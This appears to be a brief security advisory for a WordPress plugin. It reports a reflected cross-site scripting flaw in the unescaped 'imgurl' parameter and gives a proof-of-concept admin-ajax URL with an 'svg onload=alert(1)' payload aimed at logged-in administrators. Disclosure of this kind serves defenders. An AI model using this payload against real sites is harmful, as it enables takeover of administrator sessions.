The plugin does not sanitise and escape the imgurl parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
Make a logged in admin open https://example.com/wp-admin/admin-ajax.php?action=add_inpost_gallery_slide_item&imgurl="><svg%20onload=alert(1)>